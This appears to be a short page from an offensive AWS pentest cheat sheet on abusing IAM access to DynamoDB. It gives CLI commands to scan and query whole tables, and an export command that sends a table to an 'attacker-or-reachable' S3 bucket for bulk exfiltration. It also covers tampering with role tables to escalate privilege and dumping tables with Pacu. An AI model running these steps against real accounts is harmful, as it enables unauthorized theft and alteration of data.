DynamoDB has no network surface: access is entirely IAM. A principal holding dynamodb:Scan or dynamodb:Query reads the table contents directly through the API, and dynamodb:ExportTableToPointInTime dumps a whole table to S3 for bulk exfiltration. Write actions (PutItem, UpdateItem, DeleteItem) let you tamper with application state, which matters where the table backs authz or balances.
Reading tables#
aws dynamodb list-tables
aws dynamodb scan --table-name <t> --output json # whole table
aws dynamodb query --table-name <t> \
--key-condition-expression 'pk = :v' \
--expression-attribute-values '{":v":{"S":"tenant#1"}}'
Bulk export to S3#
aws dynamodb export-table-to-point-in-time \
--table-arn <arn> --s3-bucket <attacker-or-reachable-bucket> \
--export-format DYNAMODB_JSON
Exploitation notes#
Scanis expensive and paginates; large tables come out faster through the point-in-time export, which needs the table to have PITR enabled.- Writes to a table that stores roles, entitlements, or feature flags can be an application-level privilege escalation independent of IAM.
- Streams (
dynamodb:GetRecordson a table stream) leak ongoing changes where enabled.
Tools#
- AWS CLI (
dynamodb scan,export-table-to-point-in-time). - Pacu (
dynamodb__scan): enumerate and dump tables across regions.